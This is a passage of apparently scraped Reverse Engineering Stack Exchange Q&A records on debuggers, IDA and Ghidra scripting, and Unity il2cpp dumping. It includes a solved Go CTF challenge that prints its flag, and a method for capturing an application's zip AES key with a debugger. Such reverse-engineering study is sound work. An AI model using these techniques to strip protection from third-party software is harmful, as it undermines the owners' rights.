OS:</p>\n\n<p><a href=\"https://i.stack.imgur.com/FauOa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FauOa.png\" alt=\"enter image description here\"></a></p>\n\n<p>The debuggee OS literally grinds to a halt. I can't do anything. I can see some \"life\" in there by seeing the clock widget jumping by 20 second intervals but it is impossible to interact with windows or do anything. Note that if I disable the breakpoint above, everything starts working smoothly.</p>\n\n<p>Can someone explain what am I doing wrong there? And how can I make it work?</p>\n",
        "Title": "Setting a conditional kernel breakpoint in WinDbg grinds the debuggee OS to a halt",
        "Tags": "|windbg|breakpoint|kernel-mode|",
        "Answer": "<p>not sure how you can do it with ida as front end  shown below is a pure windbg demo</p>\n\n<p>finding _EPROCESS with name or Cid</p>\n\n<pre><code>1: kd&gt; !process 0 0 explorer.exe\nPROCESS ffff8e0c835c9300\n    SessionId: 1  Cid: 0fc8    Peb: 00583000  ParentCid: 0f8c\n    DirBase: 0a600002  ObjectTable: ffffd58bc24b0d40  HandleCount: 1913.\n    Image: explorer.exe\n\n1: kd&gt; !process 0fc8 0\nSearching for Process with Cid == fc8\nPROCESS ffff8e0c835c9300\n    SessionId: 1  Cid: 0fc8    Peb: 00583000  ParentCid: 0f8c\n    DirBase: 0a600002  ObjectTable: ffffd58bc24b0d40  HandleCount: 1913.\n    Image: explorer.exe\n</code></pre>\n\n<p>setting an unconditional process specific software bp</p>\n\n<pre><code>1: kd&gt; bp /p ffff8e0c835c9300 win32kfull!NtUserMessageCall\nWARNING: Software breakpoints on session addresses can cause bugchecks.\nUse hardware execution breakpoints (ba e) if possible.\n\n1: kd&gt; g\nBreakpoint 0 hit\nwin32kfull!NtUserMessageCall:\nffffeae2`57cdc020 48895c2408      mov     qword ptr [rsp+8],rbx\n\n0: kd&gt; ? @$proc\nEvaluate expression: -125290582076672 = ffff8e0c`835c9300\n\n0: kd&gt; kb\n # RetAddr            Call Site\n00 fffff803`2abdb285  win32kfull!NtUserMessageCall\n01 00007ffc`bb641184  nt!KiSystemServiceCopyEnd+0x25\nxxxxxxxxxxxxxxxxxxxxxxxxxx\n\n0: kd&gt; r rdx\nrdx=0000000000000081\n</code></pre>\n\n<p>setting a conditional process specific breakpoint </p>\n\n<pre><code>0: kd&gt; bp /p ffff8e0c835c9300 win32kfull!NtUserMessageCall \".if (@rdx != 0x112 ) { gc;}\"\n\nWARNING: Software breakpoints on session addresses can cause bugchecks.\nUse hardware execution breakpoints (ba e) if possible.\nbreakpoint 0 redefined\n\n0: kd&gt; bl\n     0 e Disable Clear  ffffeae2`57cdc020  win32kfull!NtUserMessageCall \".if (@rdx != 0x112 ) {gc;}\"\n     Match process data ffff8e0c`835c9300\n\n\n0: kd&gt; g\n\nwin32kfull!NtUserMessageCall:\nffffeae2`57cdc020 48895c2408      mov     qword ptr [rsp+8],rbx\n\n1: kd&gt; ? @$proc\nEvaluate expression: -125290582076672 = ffff8e0c`835c9300\n\n1: kd&gt; r rdx\nrdx=0000000000000112\n</code></pre>\n\n<p>call stack for break </p>\n\n<pre><code>1: kd&gt; kb\n # RetAddr             Call Site\n00 fffff803`2abdb285   win32kfull!NtUserMessageCall\n01 00007ffc`bb641184   nt!KiSystemServiceCopyEnd+0x25\n02 00007ffc`bb8b9d60   win32u!NtUserMessageCall+0x14\n03 00007ffc`bb8b98d2   USER32!RealDefWindowProcWorker+0x150\n04 00007ffc`b8aeea12   USER32!RealDefWindowProcW+0x52\n05 00007ffc`b8aeeaf2   UxTheme!DoMsgDefault+0x2e [es\\uxtheme\\handlers.cpp @ 550] \n06 00007ffc`b8ae8626   UxTheme!OnDwpSysCommand+0x32 [es\\uxtheme\\nctheme.cpp @ 7566] \n07 00007ffc`b8ae7641   UxTheme!_ThemeDefWindowProc+0x4c6 [emes\\uxtheme\\sethook.cpp @ 1067] \n08 00007ffc`bb8b9ad4   UxTheme!ThemeDefWindowProcW+0x11 [hemes\\uxtheme\\sethook.cpp @ 1109] \n09 00007ffc`a339bd0c   USER32!DefWindowProcW+0x1c4\n0a 00007ffc`a33b0f2e   v_WndProc+0xac\n0b 00007ffc`bb8bca66   s_WndProc+0x6e\n0c 00007ffc`bb8bc78c   USER32!UserCallWinProcCheckWow+0x266\n0d 00007ffc`bb8cfa83   USER32!DispatchClientMessage+0x9c\n0e 00007ffc`be5322c4   USER32!_fnDWORD+0x33\n0f 00007ffc`bb641184   ntdll!KiUserCallbackDispatcherContinue\n10 00007ffc`bb8b9d60   win32u!NtUserMessageCall+0x14\n11 00007ffc`bb8b98d2   USER32!RealDefWindowProcWorker+0x150\n12 00007ffc`b8aeea12   USER32!RealDefWindowProcW+0x52\n13 00007ffc`b8aeebb4   UxTheme!DoMsgDefault+0x2e [hemes\\uxtheme\\handlers.cpp @ 550] \n14 00007ffc`b8ae8626   UxTheme!OnDwpNcLButtonDown+0xa4 [hemes\\uxtheme\\nctheme.cpp @ 7157] \n15 00007ffc`b8ae7641   UxTheme!_ThemeDefWindowProc+0x4c6 [\\themes\\uxtheme\\sethook.cpp @ 1067] \n16 00007ffc`bb8b9ad4   UxTheme!ThemeDefWindowProcW+0x11 [l\\themes\\uxtheme\\sethook.cpp @ 1109] \n17 00007ffc`a339bd0c   USER32!DefWindowProcW+0x1c4\n18 00007ffc`a33b0f2e   v_WndProc+0xac\n19 00007ffc`bb8bca66   s_WndProc+0x6e\n1a 00007ffc`bb8bc582   USER32!UserCallWinProcCheckWow+0x266\n1b 00007ffc`a33a48a3   USER32!DispatchMessageWorker+0x1b2\n1c 00007ffc`a33a47a9   FrameMessagePump+0xe3\n1d 00007ffc`a33a46f6   explorerframe!BrowserThreadProc+0x85\n1e 00007ffc`a33a5a12   explorerframe!BrowserNewThreadProc+0x3a\n1f 00007ffc`a33b70c2  InternalResumeRT+0x12\n20 00007ffc`babdb3ec  Run+0xb2\n21 00007ffc`babdb0a5  TT_Run+0x3c\n22 00007ffc`babdaf85  ThreadProc+0xdd\n23 00007ffc`bc9ac315  s_ThreadProc+0x35\n24 00007ffc`bb6d7e94   shcore!_WrapperThreadProc+0xf5\n25 00007ffc`be4f7ad1   KERNEL32!BaseThreadInitThunk+0x14\n26 00000000`00000000   ntdll!RtlUserThreadStart+0x21\n</code></pre>\n\n<p>there  isn't any special reason to use software bp  it comes by rote </p>\n\n<p>how to do multiple conditions</p>\n\n<pre><code>1: kd&gt; bp win32kfull!NtUserMessageCall \".if ( ( @rdx != 410 ) &amp; ( @rcx != 20498 ) ) { r rdx,rcx; gc }\"\nWARNING: Software breakpoints on session addresses can cause bugchecks.\nUse hardware execution breakpoints (ba e) if possible.\nbreakpoint 0 redefined\n1: kd&gt; g\nrdx=0000000000000084 rcx=0000000000010404\nrdx=0000000000000084 rcx=000000000001046e\nrdx=0000000000000084 rcx=0000000000010404\nrdx=0000000000000020 rcx=0000000000010470\nrdx=0000000000000020 rcx=000000000001046e\nrdx=0000000000000020 rcx=00000000000104a6\nrdx=0000000000000020 rcx=000000000001048e\nrdx=0000000000000020 rcx=0000000000060480\nrdx=0000000000000020 rcx=0000000000010446\nrdx=0000000000000020 rcx=0000000000010404\nrdx=0000000000000407 rcx=000000000001047c\nrdx=0000000000000084 rcx=0000000000010404\nrdx=000000000000004e rcx=0000000000010492\nwin32kfull!NtUserMessageCall:\nffffeae2`57cdc020 48895c2408      mov     qword ptr [rsp+8],rbx\n1: kd&gt; r rdx,rcx\nrdx=0000000000000407 rcx=0000000000020498\n</code></pre>\n\n<p>demo for bitwise versus logical operators and why logical operator needs to be evaluated as c++</p>\n\n<pre><code>0:000&gt; $$ display rdx and rcx register\n0:000&gt; r rdx, rcx\nrdx=0000000000000000 rcx=00007ffd7a57fc04\n0:000&gt; $$ evaluating logical operator as C++ expression\n0:000&gt; ?? @rdx &amp;&amp; @rcx\nbool false\n0:000&gt; $$ evaluating logical operator as masm expression (will fail)\n0:000&gt; ? @rdx &amp;&amp; @rcx\nNumeric expression missing from '&amp; @rcx'\n0:000&gt; $$ evaluating bitwise operator as masm expression \n0:000&gt; ? @rdx &amp; @rcx\nEvaluate expression: 0 = 00000000`00000000\n0:000&gt; $$ evaluating bitwise operator as c++ expression \n0:000&gt; ?? @rdx &amp; @rcx\nunsigned int64 0\n</code></pre>\n"
    },
    {
        "Id": "21513",
        "CreationDate": "2019-06-19T06:27:12.297",
        "Body": "<p>Iv'e never used python before and in looking at other example I can't find what I'm looking for exactly so I have come here to humbly ask for an example script if anyone could be so kind, I am trying to simply make a table of function names and their corresponding sig and then I'd like to run the script in ida and have it search for the aob and if found rename that function to the sigs name and if not found just print that it wasn't found. I have coded in lua an exact replica of what I am trying to accomplish. Thanks for your time!</p>\n\n\n\n<pre><code>local sigs = {\n    [\"func1\"] = \"ff ff ff ff ff ff ff\",\n    [\"func2\"] = \"ff ff ff ff ff ff ff\",\n    [\"func3\"] = \"ff ff ff ff ff ff ff\",\n    [\"func4\"] = \"ff ff ff ff ff ff ff\"\n}\n\nfor name, sig in pairs(sigs) do\n    local address = searchaob(sig)\n    if address then\n        rename(address, name)\n    else\n        print(name .. \" not found\")\n    end\nend\n</code></pre>\n",
        "Title": "IdaPython aob search and rename example",
        "Tags": "|ida|idapython|python|",
        "Answer": "<p>You can do it pretty easily with find_binary and set_name, just a matter of iterating over your patterns and searching for them. IDA supports wildcards in binary patterns too.</p>\n\n<p>This should give you a good idea on how to do it:</p>\n\n<pre><code>patterns = {\n    \"fn1\": \"AA BB CC DD EE ? ? ?\",\n    \"fn2\": \"BB CC DD EE FF ? ? ? AA\",\n    ...\n}\n\nfor name, pattern in patterns.items():\n    ea = idc.find_binary(0, ida_search.SEARCH_DOWN, pattern)\n\n    if ea == ida_idaapi.BADADDR:\n        # not found\n        break\n\n    idc.set_name(ea, name)\n</code></pre>\n"
    },
    {
        "Id": "21519",
        "CreationDate": "2019-06-19T21:03:38.273",
        "Body": "<p>I have GO binary file from challenge (that already over).</p>\n\n<p>I spent around 3 days to find the flag without results.</p>\n\n<p>I'm trying to load the file with gdb and using the following command:</p>\n\n<p>First, Trying to find the entry point:</p>\n\n<pre><code>info files\n</code></pre>\n\n<p>After I got the entry point I did <code>break *&lt;ENTRYPOINTADDR&gt;</code>\nThen <code>layout asm</code> and then I just try to figure when I need to add break point before the print that ask me to enter a password.</p>\n\n<p>Also trying with <code>info frame</code> and <code>show registers</code> and to print the values but nothing found.</p>\n\n<p>I just want to learn how to find the flag from this ELF file</p>\n\n<p>I would love to know how to solve it</p>\n\n<p><a href=\"https://ufile.io/fz0q1ay3\" rel=\"nofollow noreferrer\">GO binary File</a></p>\n",
        "Title": "Find flag from GO binary challenge",
        "Tags": "|patch-reversing|",
        "Answer": "<p>bart1e answered your question right \nthis is just an extension to his answer with a different tool <strong>ghidra</strong> and reversing purely statically without running the binary.</p>\n\n<p>golang uses a <a href=\"https://science.raphael.poss.name/go-calling-convention-x86-64.html\" rel=\"nofollow noreferrer\">different approach to calling functions</a> it provides a memory slot in stack for arguments to the functions as well as multiple values it can return from a function </p>\n\n<p>for example a function can return a sum and product of two integers in the same function like   </p>\n\n<p><code>func doMagic (x,y) { return x+y ,x*y )</code> </p>\n\n<p>so roughly the disassembly will look like<br>\n( it is just a simplification of details not absolute syntax or exact types are used )</p>\n\n<p>it just tries to reiterate how golang uses <strong>stack</strong><br>\ninstead of traditional <strong>x64 abi registers or x86 abi memory / stack for arguments</strong> and conventional<br>\n<strong>returns in rax/eax</strong> </p>\n\n<pre><code>mov [stack] , x\nmov [stack] , y\nmov [stack] , &amp;fret1\nmov [stack] , &amp;fret2\ncall doMagic\n\nand inside doMagic \nt1 = x \nt2 = y\nt3 = t1  + t2\nt4 = t1  * t2\nfret1 = t3\nfret2 = t4\nret\n</code></pre>\n\n<p>so reading around I found <a href=\"https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/\" rel=\"nofollow noreferrer\">golang embeds the function names and its address in <code>.gopclntab</code></a> section and was fooling around with renaming the functions and successfully renamed the functions with this hack of script below but the decompilation was still looking a horrible mess</p>\n\n<pre><code>from ghidra import *\nmem = currentProgram.getMemory()\nstart = mem.getBlock(\".gopclntab\").getStart()\nprovider = ghidra.app.util.bin.MemoryByteProvider(mem,start)\nbread = ghidra.app.util.bin.BinaryReader(provider,True)\nnumfun = bread.readInt(8)\nfor i in range(0x10,numfun*0x10,0x10):  \n    faddr = bread.readInt(bread.readInt(i+8))\n    fname = bread.readAsciiString(bread.readInt(bread.readInt(i+8) + 8))\n    print( \"creating function at \" + hex(faddr) + \"\\t\" + fname )\n    removeFunctionAt(toAddr(faddr))\n    createFunction(toAddr(faddr),fname)\n</code></pre>\n\n<p>so i scoured around and hit upon a GitHub entry by <a href=\"https://github.com/felberj/gotools\" rel=\"nofollow noreferrer\">felberj a ghidra script for golang</a> </p>\n\n<p>downloaded the script for 9.04 version copied it to ghidra/extension dir as instructed \nin the project window did File->installExtension and restarted ghidra</p>\n\n<p>now i imported the binary again this time making sure i used the newly added golang language entry instead of default gcc x64 ghidra proposes </p>\n\n<p>and apart from renaming functions this extension also decoded the return types and changed the storage type of arguments to custom storage and assigned proper stack address to all the arguments and return values.</p>\n\n<p>now the decompilation of main.main was looking a bit more readable  </p>\n\n<pre><code>void main.main(void)\n\n{\n\n  byte Wrong [17];\n  byte EPas [20];\n  byte good [30];\n  byte Ans [38];\n  byte retry [40];\n\n\n  ppbVar1 = *(in_FS_OFFSET + 0xfffffff8) + 0x10;\n  if (good + 4 &lt; *ppbVar1 || good + 4 == *ppbVar1) {\n    runtime.morestack_noctxt();\n    main.main();\n    return;\n  }\n  EPas._0_8_ = 0xc5d38ad8cfdec4ef;EPas._8_4_ = 0xda8ad8df;EPas._12_4_ = 0xddd9d9cb;\n  EPas._16_4_ = 0x90ced8c5;\n  Wrong[0] = 0xf9; Wrong._1_4_ = 0xc2dec7c5;Wrong._5_4_ = 0x8acdc4c3;Wrong._9_4_ = 0xdd8ad9c3;\n  Wrong._13_4_ = 0xcdc4c5d8;\n  Ans._0_6_ = 0xd9cfcec3f9e8;  Ans._6_2_ = 0xe6fe;  Ans._8_2_ = 0xd1fc;  Ans._10_4_ = 0xcfdccfd8;\n  Ans._14_4_ = 0x8acfcdc4;  Ans._18_4_ = 0xc88ad9c3;  Ans._22_4_ = 0x8aded9cf;  Ans._26_4_ = 0xdcd8cfd9;\n  Ans._30_4_ = 0xc98acecf;  Ans._34_4_ = 0xd7cec6c5;\n  good._0_4_ = 0x8adfc5f3;  good._4_4_ = 0xc9cbd8e9;  good._8_4_ = 0x8acecfc1;  good._12_2_ = 0xdec3;\n  good._14_2_ = 0x8a86;  good._16_2_ = 0x8aeb;  good._18_4_ = 0xc5d8cfe2;  good._22_4_ = 0x8ad9c38a;\n  good._26_4_ = 0xc4d8c5c8;\n  retry._0_8_ = 0xc5fd8ade8dc4c5ee;  retry._8_4_ = 0x86d3d8d8;  retry._12_4_ = 0xc6cff88a;\n  retry._16_4_ = 0x8a86d2cb;  retry._20_4_ = 0xc6c3c2e9;  retry._24_4_ = 0xc4cb8ac6;\n  retry._28_4_ = 0xd8fe8ace;  retry._32_4_ = 0xcbc28ad3;  retry._36_4_ = 0xd8cfced8;\n\n  uStack224 = 0x14;\n  rVar3 = main.ObfStr(EPas,0x14,0x14);\n  uStack0000000000000020 = SUB168(rVar3,0);\n  uStack0000000000000028 = SUB168(rVar3 &gt;&gt; 0x40,0);\n  uStack0000000000000018 = runtime.convTstring(in_stack_fffffffffffffe10,in_stack_fffffffffffffe18);\n  pdStack232 = &amp;DAT_0049a600;\n  puVar7 = 0x1;\n  lVar9 = 1;\n  fmt.Fprint(&amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;pdStack232,1,1);\n  uStack152 = DAT_0055b7e8;\n  apuStack96[0] = 0x0;\n  FUN_00451d15();\n  lVar5 = 0x1000;\n  lVar6 = 0x1000;\n  runtime.makeslice(&amp;DAT_0049a740,0x1000,0x1000);\n  puStack184 = 0x0;\n  puVar8 = puVar7;\n  FUN_00451d15();\n  uStack176 = 0x1000;\n  uStack168 = 0x1000;\n  ppuStack160 = &amp;PTR_DAT_004d3a40;\n  uStack112 = 0xffffffffffffffff;\n  uStack104 = 0xffffffffffffffff;\n  puStack184 = puVar7;\n  apuStack96[0] = puVar7;\n  FUN_0045207a();\n  rVar2 = bufio.(*Reader).ReadLine(apuStack96);\n  uStack0000000000000010 = SUB488(rVar2,0);\n  uStack0000000000000018 = SUB488(rVar2 &gt;&gt; 0x40,0);\n  uStack0000000000000020 = SUB488(rVar2 &gt;&gt; 0x80,0);\n  uStack0000000000000028 = SUB488(rVar2 &gt;&gt; 0xc0,0);\n  if (lStack480 != 0) {\n    uStack208 = 0x11;\n    rVar3 = main.ObfStr(Wrong,0x11,0x11);\n    uStack0000000000000020 = SUB168(rVar3,0);\n    uStack0000000000000028 = SUB168(rVar3 &gt;&gt; 0x40,0);\n    uStack0000000000000018 = runtime.convTstring(puVar8,lVar9);\n    if (lStack480 != 0) {\n      lStack480 = *(lStack480 + 8);\n    }\n    pdStack216 = &amp;DAT_0049a600;\n    puVar8 = 0x2;\n    lVar9 = 2;\n    lStack200 = lStack480;\n    rVar4 = fmt.Fprintln(&amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;pdStack216,2,2);\n    uStack0000000000000040 = SUB248(rVar4 &gt;&gt; 0x80,0);\n  }\n  rVar3 = main.ObfStr(Ans,0x26,0x26);\n  uStack0000000000000020 = SUB168(rVar3,0);\n  uStack0000000000000028 = SUB168(rVar3 &gt;&gt; 0x40,0);\n  if ((lVar9 == lVar6) &amp;&amp;\n     (uStack0000000000000020 = runtime.memequal(lVar5,puVar8,lVar6), puVar8 != '\\0')) {\n    uStack240 = 0x1e;\n    rVar3 = main.ObfStr(good,0x1e,0x1e);\n    uStack0000000000000020 = SUB168(rVar3,0);\n    uStack0000000000000028 = SUB168(rVar3 &gt;&gt; 0x40,0);\n    uStack0000000000000018 = runtime.convTstring(puVar8,lVar9);\n    pdStack248 = &amp;DAT_0049a600;\n    fmt.Fprintln(&amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;pdStack248,1,1);\n    return;\n  }\n  uStack256 = 0x28;\n  rVar3 = main.ObfStr(retry,0x28,0x28);\n  uStack0000000000000020 = SUB168(rVar3,0);\n  uStack0000000000000028 = SUB168(rVar3 &gt;&gt; 0x40,0);\n  uStack0000000000000018 = runtime.convTstring(puVar8,lVar9);\n  pdStack264 = &amp;DAT_0049a600;\n  fmt.Fprintln(&amp;PTR_DAT_004d3a60,DAT_0055b7f0,&amp;pdStack264,1,1);\n  return;\n}\n</code></pre>\n\n<p>so as you can see it prints a string Enter password \nreads a line \ncompares the entered pass with a obfuscated (simple xor with byte 0xaa ) actual password \nand prints good , you are a hero \nor prints wrong retry</p>\n\n<p>the deobfuscation routine is main.obfstr() it takes a bytearray and length to xor \nand returns a xorred string back</p>\n\n<p>based on these observations we can write a simple  xor script </p>\n\n<p>that takes an address the byte to xor and length and xor the results to get the pass without running the binary</p>\n\n<p>here is naive xor script (na\u00efve because it ran for me the one time i tested in my machine and can have innumerable unanticipated corner case bugs)</p>\n\n<pre><code>#Desc xors a memory block of len unsigned bytes with a single unsigend byte like (0xff ^ 0xaa)\n#@author      blabb \n#@category    _NEW_\n#@keybinding  \n#@menupath    none\n#@toolbar     \n\nimport ghidra\ndef hexdump( a ):\n    for j in range(0,len(a),16):\n        for i in range(j,j+16,1):\n            if( i &lt; len(a)):\n                print ( \"%02x \" % a[i]),\n            else:\n                print ( \"%02x \" % 0 ),  \n        for i in range(j,j+16,1):\n            if( i &lt; len(a)):\n                print ( \"%c\" % chr( a[i] ) ),\n            else:\n                print ( \" \" ),\n        print(\"\\n\")\n\nbaseaddr = askAddress( \"XOR MEMORY\",\"Enter Base Addreess\")\nxorby    = askInt    ( \"XOR MEMORY\",\"Enter Byte to xor with\")\nxorlen   = askInt    ( \"XOR MEMORY\",\"enter length of xor block\")\nres = []\nprovider = ghidra.app.util.bin.MemoryByteProvider(currentProgram.getMemory(),baseaddr)\nbr =       ghidra.app.util.bin.BinaryReader(provider,True)\nfor i in range(0,xorlen,1):\n    res.append((br.readUnsignedByte(i) ^ xorby))\nhexdump(res)\n</code></pre>\n\n<p>running this and providing the memory address for password 0x4d3ae0,xorbyte 0xaa,len 0x26 </p>\n\n<p>we can easily get the password </p>\n\n<pre><code>xormem.py&gt; Finished!\nxormem.py&gt; Running...\n42  53  69  64  65  73  54  4c  56  7b  72  65  76  65  6e  67  B S i d e s T L V { r e v e n g \n\n65  20  69  73  20  62  65  73  74  20  73  65  72  76  65  64  e   i s   b e s t   s e r v e d \n\n20  63  6f  6c  64  7d  00  00  00  00  00  00  00  00  00  00    c o l d }                     \n\nxormem.py&gt; Finished!\n</code></pre>\n"
    },
    {
        "Id": "21526",
        "CreationDate": "2019-06-22T14:04:18.427",
        "Body": "<p>is possible with <code>lldb</code> have a list of functions at runtime like <code>gdb info functions</code>? I had a look at help but didn't find it.</p>\n",
        "Title": "gdb list functions names equivalent for lldb",
        "Tags": "|lldb|",
        "Answer": "<p>Although <code>lldb</code> help doesn't explicitly state <code>gdb</code>'s <code>info functions</code> equivalent, it shows the command mapped from <code>info function &lt;FUNC_REGEX&gt;</code>. </p>\n\n<p>Nonetheless, you may realise that <code>info functions</code> in <code>gdb</code> gives you the same output as <code>info function .*</code>, where <code>.*</code> is the regular expression that matches every function name.</p>\n\n<p>That being said, from <a href=\"https://lldb.llvm.org/use/map.html#executable-and-shared-library-query-commands\" rel=\"nofollow noreferrer\">GDB to LDB command map</a> you get two corresponding commands:</p>\n\n<pre><code>image lookup -r -n &lt;FUNC_REGEX&gt; \n</code></pre>\n\n<p>and</p>\n\n<pre><code>image lookup -r -s &lt;FUNC_REGEX&gt;\n</code></pre>\n\n<p>where the first one will find debug symbols matching <code>&lt;FUNC_REGEX&gt;</code>, while the second one: non-debug symbols matching this regular expression.</p>\n\n<p>The combination of both with <code>&lt;FUNC_REGEX&gt;</code> equal <code>.*</code> should give you the desired result. </p>\n"
    },
    {
        "Id": "21534",
        "CreationDate": "2019-06-23T00:28:23.273",
        "Body": "<p>I'm trying to reverse engineer a game made with the Unity engine, and usually all of the games's scripts are in the files <code>\\&lt;Game&gt;_Data\\Managed\\Assembly-CSharp.dll</code> and <code>\\&lt;Game&gt;_Data\\Managed\\Assembly-CSharp-firstpass.dll</code>. However this game doesn't have the assembly dll in the managed directory.</p>\n\n<p>I tried decompiling the exe with dnSpy but it doesn't  look like there is any .NET assembly inside:</p>\n\n<p><a href=\"https://i.stack.imgur.com/mbWfW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mbWfW.png\" alt=\"\"></a></p>\n\n<p>I also used Process Monitor to check if the game loads any other .dll but it doesn't.\nHowever, using Cheat Engine's mono dissector function I can see the two assembly dll's and all the classes and methods inside:</p>\n\n<p><a href=\"https://i.stack.imgur.com/eo3Q2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eo3Q2.png\" alt=\"\"></a></p>\n\n<p>So my hypothesis is that the dll is embedded inside the exe somehow and loaded to the memory when the game starts.</p>\n\n<p>I debugged the game's executable with x64dbg, searched for string references for \"Assembly-Csharp\" and put a breakpoint where I think the dll is loaded, and found this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/QOmXt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QOmXt.png\" alt=\"\"></a></p>\n\n<p>I decompiled this part of the program with ghidra and got this:\n(I also decompiled it with x64dbg and got a similar result minus the variables names)</p>\n\n<pre><code>undefined * FUN_1401a0070(undefined *puParm1,void **ppvParm2,undefined8 uParm3,undefined8 uParm4)\n\n{\n  char cVar1;\n  char cVar2;\n  char *pcVar3;\n  longlong lVar4;\n  void **ppvVar5;\n  undefined **ppuVar6;\n  int iVar7;\n  bool bVar8\n;  int iVar9;\n  undefined in_stack_ffffffffffffffb8;\n  undefined uVar10;\n  undefined7 in_stack_ffffffffffffffb9;\n  int in_stack_ffffffffffffffc0;\n  undefined8 local_38;\n  ulonglong local_30;\n\n  iVar7 = 0;\n  ppuVar6 = &amp;PTR_s_Managed/Assembly-CSharp.dll_140f42ad8;\n  do {\n    pcVar3 = (char *)FUN_140007820();\n    iVar9 = (int)uParm4;\n    bVar8 = SUB81(uParm3,0);\n    lVar4 = -(longlong)pcVar3;\n    do {\n      cVar2 = *pcVar3;\n      cVar1 = pcVar3[(longlong)(*ppuVar6 + lVar4)];\n      if (cVar2 != cVar1) break;\n      pcVar3 = pcVar3 + 1;\n    } while (cVar1 != '\\0');\n    if (cVar2 == cVar1) {\n      lVar4 = -1;\n      local_30 = 0xf;\n      local_38 = 0;\n      uVar10 = 0;\n      pcVar3 = (&amp;PTR_s_StreamingAssets/OtherAssets/Back_140f42ae8)[(longlong)iVar7];\n      goto code_r0x0001401a012d;\n    }\n    ppuVar6 = ppuVar6 + 1;\n    iVar7 = iVar7 + 1;\n  } while ((longlong)ppuVar6 &lt; 0x140f42ae8);\n  *(undefined8 *)(puParm1 + 0x18) = 0xf;\n  *(undefined8 *)(puParm1 + 0x10) = 0;\n  *puParm1 = 0;\n  FUN_14000b310(puParm1,ppvParm2);\n  goto LAB_1401a01a0;\n  while( true ) {\n    lVar4 = lVar4 + -1;\n    cVar2 = *pcVar3;\n    pcVar3 = pcVar3 + 1;\n    if (cVar2 == '\\0') break;\n    code_r0x0001401a012d:\n    if (lVar4 == 0) break;\n  }\n  FUN_14000a8f0(&amp;stack0xffffffffffffffb8);\n  cVar2 = FUN_1402d8ab0(&amp;stack0xffffffffffffffb8);\n  *(undefined8 *)(puParm1 + 0x18) = 0xf;\n  *(undefined8 *)(puParm1 + 0x10) = 0;\n  ppvVar5 = (void **)&amp;stack0xffffffffffffffb8;\n  if (cVar2 == '\\0') {\n    ppvVar5 = ppvParm2;\n  }\n  iVar9 = -1;\n  bVar8 = false;\n  *puParm1 = 0;\n  FUN_140009870(puParm1,ppvVar5);\n  if (0xf &lt; local_30) {\n    operator_delete((void *)CONCAT71(in_stack_ffffffffffffffb9,uVar10),(MemLabelId)0x3b,bVar8,iVar9,\n      (char *)CONCAT71(in_stack_ffffffffffffffb9,uVar10),in_stack_ffffffffffffffc0);\n  }\n  local_30 = 0xf;\n  local_38 = 0;\n  in_stack_ffffffffffffffb8 = 0;\n  LAB_1401a01a0:\n  if (&amp;DAT_0000000f &lt; ppvParm2[3]) {\n    operator_delete(*ppvParm2,(MemLabelId)0x3b,bVar8,iVar9,\n      (char *)CONCAT71(in_stack_ffffffffffffffb9,in_stack_ffffffffffffffb8),\n      in_stack_ffffffffffffffc0);\n  }\n  *(undefined **)(ppvParm2 + 3) = &amp;DAT_0000000f;\n  ppvParm2[2] = (void *)0x0;\n  *(undefined *)ppvParm2 = 0;\n  return puParm1;\n}\n</code></pre>\n\n<p>And now I'm stuck, I'm looking for a way to extract this dll from the exe (if it's inside at all) and then decompile to C#.\nAlternatively I would like to know if there is a way to decompile the IL code that cheat engine provides with the mono dissector tool, and translate it to readable C#.</p>\n\n<p>I'm pretty much a novice in reverse engineering so I'm sure I missed a lot of stuff, any help is welcome.</p>\n",
        "Title": "Unity game: Assembly dll embedded inside the exe",
        "Tags": "|dll|.net|game-hacking|",
        "Answer": "<p>Nexide, wild guess but your game is complied with il2cpp.\nYou could use Scylla to dump GameAssembly.DLL\nand you'll get a dumb folder and with that you use Il2cppDumper, drag both the Globalmeta.dat file and the GameAssembly.dll-Dumped file inside where all the il2cppdumper dlls are stored, then run Il2cppdumper then press GameAssembly.dll then Globalmeta data and you'll get a dummey dlls with Csharpassembly and everything else, but you won't actually get the actual code out of it, only offsets and methods, You'll have to reverse using Ida Pro to get the native code, I'm not sure if there are any other methods of decompling</p>\n"
    },
    {
        "Id": "21535",
        "CreationDate": "2019-06-24T07:27:00.167",
        "Body": "<p>If an application is reading from a password protected zip file, is there a way to intercept the key being sent to decrypt the zip file. Or, is there a way to dump the files being read themselves?</p>\n",
        "Title": "Intercept zip decryption key or files from an application",
        "Tags": "|debugging|decryption|hooking|",
        "Answer": "<p>I'm writing this answer under the assumption the OP is within his legal rights to share the binaries.</p>\n\n<p>First of, I read up on password protected zip files. Apparently that is not part of the ZIP specification itself but an invention of WinZip. They have documented their format modifications and all details on this page:</p>\n\n<p><a href=\"https://www.winzip.com/win/en/aes_info.html\" rel=\"nofollow noreferrer\">https://www.winzip.com/win/en/aes_info.html</a></p>\n\n<p>Important to notice here is how key derivation works. It feeds the given password through PKBDF2 with an iteration count of 1000 to derive the real key used in AES.</p>\n\n<p>Using PEiD I checked for crypto signatures and found 4 references to AES (via their sbox). I then checked the surrounding code where these AES functions are used and stumbled upon a function call that got 1000 as an argument.</p>\n\n<p>So then I just ran the binary with an attached debugger, breaking on that call. Then I inspected passed arguments and the first argument appeared to be the key.</p>\n\n<p>I successfully decompressed the female zip file with the key to confirm.</p>\n\n<h1>How to derive that key?</h1>\n\n<p>Note that the algorithm used by the program seems to be a bit more complex. If you check the zip files, not all files in there are encrypted.</p>\n\n<p>Two XML files are unencrypted and contain an XML property named <code>encryption key</code>, which looks similar to the real one above, but different bytes.</p>\n\n<p>The application probably uses this property to deduce the above key which is eventually fed to AES to decrypt the encrypted files in the same archive. I do not know how this internal derivation works. You would have to find the code, probably by following the XML parser if you want to write a generic tool to decompress these encrypted files.</p>\n"
    },
    {
        "Id": "21555",
        "CreationDate": "2019-06-27T02:21:25.273",
        "Body": "<p>I am new to reversing and I see a tool <a href=\"https://github.com/horsicq/Detect-It-Easy\" rel=\"noreferrer\">Detect It Easy</a> and it has a feature called <em>Entropy</em>. I want to know what it is used for?</p>\n",
        "Title": "What is an entropy graph",
